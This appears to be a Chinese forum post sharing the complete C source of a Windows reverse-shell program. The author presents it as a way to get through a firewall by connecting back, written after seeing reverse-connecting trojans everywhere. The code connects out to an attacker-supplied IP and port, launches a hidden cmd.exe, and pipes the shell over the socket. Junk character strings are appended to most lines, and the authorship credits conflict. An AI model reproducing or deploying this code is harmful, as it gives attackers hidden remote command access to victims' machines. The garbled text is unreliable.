这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `Ch6"=t
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/* ============================== xO.7cSqgw
Rebound port in Windows NT $(NfHIX
By wind,2006/7 ~Fx[YPO,
===============================*/ q6ikJ8E8b
#include kl={L{r
#include 5sE^MS1
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#pragma comment(lib,"wsock32.lib") y^nR=Q]_
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void OutputShell(); Y{O&-5H^|
SOCKET sClient; ex|kD*=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gSGe]
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void main(int argc,char **argv) AzV5Re8M
{ va<+)b\
WSADATA stWsaData; $`oA$E3
int nRet; ?UxY4m%R;
SOCKADDR_IN stSaiClient,stSaiServer; cpy"1=K~M
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if(argc != 3) YL.z|{\e
{ h49Q2`
printf("Useage:\n\rRebound DestIP DestPort\n"); ~"wD4Ue
return; nY8UJy}<oL
} J~}UG]j n
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WSAStartup(MAKEWORD(2,2),&stWsaData); e56#Qb@$\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XMdc n,
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stSaiClient.sin_family = AF_INET; ]lo1Kw
stSaiClient.sin_port = htons(0); 5^Y/RS i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j~8+,:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~3%3{aa
{ U\
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printf("Bind Socket Failed!\n"); Z\L@5.*ydE
return; _qg6(
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} "5YdmBy
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stSaiServer.sin_family = AF_INET; j"V$J8)[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 35>}$1?-6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |]q=D1/A
{ s6D-?G*u%8
printf("Connect Error!"); H94.E|Q\+
return; p3S c4
} kmoJ`W} N
OutputShell(); Z])_E6.
} 9,W-KM
% n{W
void OutputShell() $ {+.1"/[
{ !lF^~x
char szBuff[1024]; :qbG%_PJ
SECURITY_ATTRIBUTES stSecurityAttributes; 'l:2R,cP
OSVERSIONINFO stOsversionInfo; J4vKfxEg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !BX62j\?
STARTUPINFO stStartupInfo; f+920/>!Z
char *szShell; #SYWAcTkO}
PROCESS_INFORMATION stProcessInformation; M BT-L
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HFr3(gNj@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A|J\X=5
stSecurityAttributes.lpSecurityDescriptor = 0; OGFKc#
stSecurityAttributes.bInheritHandle = TRUE; k~R[5W|'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]cr;PRyv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =#tQIhX`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b8>9mKs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q8x{V_Pot
stStartupInfo.wShowWindow = SW_HIDE; a%!XLyq
stStartupInfo.hStdInput = hReadPipe; ^{s0d+@{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `k&K"jA7$
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GetVersionEx(&stOsversionInfo); :#}`uR,D/
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switch(stOsversionInfo.dwPlatformId) <<6w9wNon
{ G!8pF
case 1: ,*[LnR
szShell = "command.com"; \DqxS=o;
break; qfu2}qUX~%
default: p]&Q`oh
szShell = "cmd.exe"; CK(ev*@\D,
break; 2[po~}2-0
} _|ib@Xbin
=LxmzQO#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }NCvaO
a1SOC=.M;
send(sClient,szMsg,77,0); BUinzW z{a
while(1) mj=|oIMwT
{ rbPs~C-[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H4NEB1TO>
if(lBytesRead) )F9r?5}v4x
{ 9/Dt:R3QU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N| Pm|w*?
send(sClient,szBuff,lBytesRead,0); Ra5'x)m36)
} ~ fEs!hl
else "PaGDhS
{ fR4l4 GU?)
lBytesRead=recv(sClient,szBuff,1024,0); M7R&J'SAY
if(lBytesRead<=0) break; t3$gwO$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |nN/x<v
} io7U[ #
} C-u/{CP
kA!(}wRL
return; K<6x4ha
}